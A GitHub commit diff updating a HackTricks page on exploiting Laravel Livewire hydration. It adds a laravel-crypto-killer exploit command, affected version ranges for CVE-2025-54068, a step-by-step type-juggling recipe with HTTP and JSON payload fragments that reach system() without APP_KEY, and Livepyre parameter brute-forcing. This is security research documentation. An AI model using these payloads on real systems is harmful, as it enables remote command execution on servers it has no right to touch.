Skip to content

Commit cd875c5

Browse files
authored
Merge pull request #1943 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_livewire-hydration-synthesizer-abuse_20260225_024100
Research Update Enhanced src/pentesting-web/deserialization/...
2 parents 236a624 + 41439b3 commit cd875c5

1 file changed

Lines changed: 20 additions & 1 deletion

File tree

src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,14 +71,16 @@ Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Lara
7171
`synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything:
7272

7373
```bash
74-
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
74+
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
7575
-j request.json --function system -p "bash -c 'id'"
7676
```
7777

7878
The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.
7979

8080
## CVE-2025-54068 – RCE without `APP_KEY`
8181

82+
According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) and is unique to v3.
83+
8284
`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:
8385

8486
```php
@@ -95,6 +97,21 @@ Exploit recipe:
9597

9698
1. Find a Livewire component with an untyped public property (e.g., `public $count;`).
9799
2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`.
100+
101+
A minimal type-juggling flow looks like this:
102+
103+
```http
104+
POST /livewire/update
105+
...
106+
"updates": {"count": []}
107+
```
108+
109+
Then the next snapshot stores a tuple that keeps the `arr` synthesizer metadata:
110+
111+
```json
112+
"count": [[], {"s": "arr"}]
113+
```
114+
98115
3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`.
99116
4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
100117
5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`.
@@ -112,6 +129,7 @@ Key reasons this works:
112129
- Fingerprints the deployed Livewire version by parsing `<script src="/livewire/livewire.js?id=HASH">` and mapping the hash to vulnerable releases.
113130
- Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`.
114131
- Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
132+
- If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
115133

116134
Typical usage:
117135

@@ -139,5 +157,6 @@ python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
139157
- [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/publications/livewire-execution-de-commandes-a-distance-via-unmarshaling.html)
140158
- [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
141159
- [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre)
160+
- [GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3)
142161

143162
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)